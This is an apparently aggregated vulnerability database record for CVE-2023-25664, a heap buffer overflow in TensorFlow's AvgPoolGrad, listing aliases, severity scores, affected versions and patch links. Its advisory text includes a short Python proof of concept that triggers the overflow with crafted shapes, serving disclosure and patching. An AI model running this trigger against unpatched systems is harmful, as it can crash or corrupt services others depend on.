{"id":"CVE-2023-25664","aliases":["CVE-2023-25664","GHSA-6hg6-5c2q-7rcr","BIT-TENSORFLOW-2023-25664","PYSEC-2026-1951","PYSEC-2026-3122"],"related":[],"kind":"vulnerability","state":"published","title":"TensorFlow vulnerable to Heap Buffer Overflow in AvgPoolGrad","summary":"TensorFlow is an open source platform for machine learning. Prior to versions 2.12.0 and 2.11.1, there is a heap buffer overflow in TAvgPoolGrad. A fix is included in TensorFlow 2.12.0 and 2.11.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"TensorFlow is an open source platform for machine learning. Prior to versions 2.12.0 and 2.11.1, there is a heap buffer overflow in TAvgPoolGrad. A fix is included in TensorFlow 2.12.0 and 2.11.1.","source":"cvelist"},{"lang":"en","text":"### Impact\n```python\nimport os\nos.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'\nimport tensorflow as tf\nprint(tf.__version__)\nwith tf.device(\"CPU\"):\n    ksize = [1, 40, 128, 1]\n    strides = [1, 128, 128, 30]\n    padding = \"SAME\"\n    data_format = \"NHWC\"\n    orig_input_shape = [11, 9, 78, 9]\n    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)\n    res = tf.raw_ops.AvgPoolGrad(\n        ksize=ksize,\n        strides=strides,\n        padding=padding,\n        data_format=data_format,\n        orig_input_shape=orig_input_shape,\n        grad=grad,\n    )\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by <evn@google.com>","format":"markdown","source":"ghsa"}],"published":"2023-03-24T21:58:04.000Z","modified":"2026-09-10T03:49:52.782Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"CRITICAL"}],"cwes":["CWE-120","CWE-122"],"affected":[{"ranges":[{"version":"< 2.11.1","status":"affected"}],"vendor":"tensorflow","product":"tensorflow","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.11.1"}],"ecosystem":"PyPI","package":"tensorflow","purl":"pkg:pypi/tensorflow","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.11.1"}],"ecosystem":"PyPI","package":"tensorflow-cpu","purl":"pkg:pypi/tensorflow-cpu","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.12.0"}],"vendor":"google","product":"tensorflow","cpe":"cpe:2.3:a:google:tensorflow:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.11.1"}],"ecosystem":"PyPI","package":"tensorflow-cpu","purl":"pkg:pypi/tensorflow-cpu","source":"pysec"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.11.1"}],"ecosystem":"PyPI","package":"tensorflow","purl":"pkg:pypi/tensorflow","source":"pysec"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.12.0"}],"ecosystem":"Bitnami","package":"tensorflow","purl":"pkg:bitnami/tensorflow","source":"bitnami"}],"references":[{"url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6hg6-5c2q-7rcr","tags":["fix","patch","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec","bitnami"]},{"url":"https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b","tags":["fix","patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-25664","tags":["advisory","web"],"sources":["ghsa","pysec","bitnami"]},{"url":"https://github.com/tensorflow/tensorflow","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/tensorflow-cpu","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-6hg6-5c2q-7rcr","tags":["advisory"],"sources":["pysec"]},{"url":"https://pypi.org/project/tensorflow","tags":["package"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2025-02-19T20:38:56.264Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-25664","url":"https://www.cve.org/CVERecord?id=CVE-2023-25664","licence":"CVE Terms of Use","modified":"2025-02-19T20:39:09.427Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6hg6-5c2q-7rcr","url":"https://github.com/advisories/GHSA-6hg6-5c2q-7rcr","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:52.782Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-25664","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-25664","licence":"Public domain","modified":"2026-06-17T05:41:41.550Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1951","url":"https://osv.dev/vulnerability/PYSEC-2026-1951","licence":"CC-BY-4.0","modified":"2026-07-13T16:42:42.765Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3122","url":"https://osv.dev/vulnerability/PYSEC-2026-3122","licence":"CC-BY-4.0","modified":"2026-07-13T16:42:42.765Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-TENSORFLOW-2023-25664","url":"https://osv.dev/vulnerability/BIT-TENSORFLOW-2023-25664","licence":"Apache-2.0","modified":"2026-09-08T08:48:20.620Z"}],"updatedAt":"2026-11-25T22:58:22.675Z","epss":{"score":0.00415,"percentile":0.37858,"date":"2026-12-01T12:00:22.000Z"}}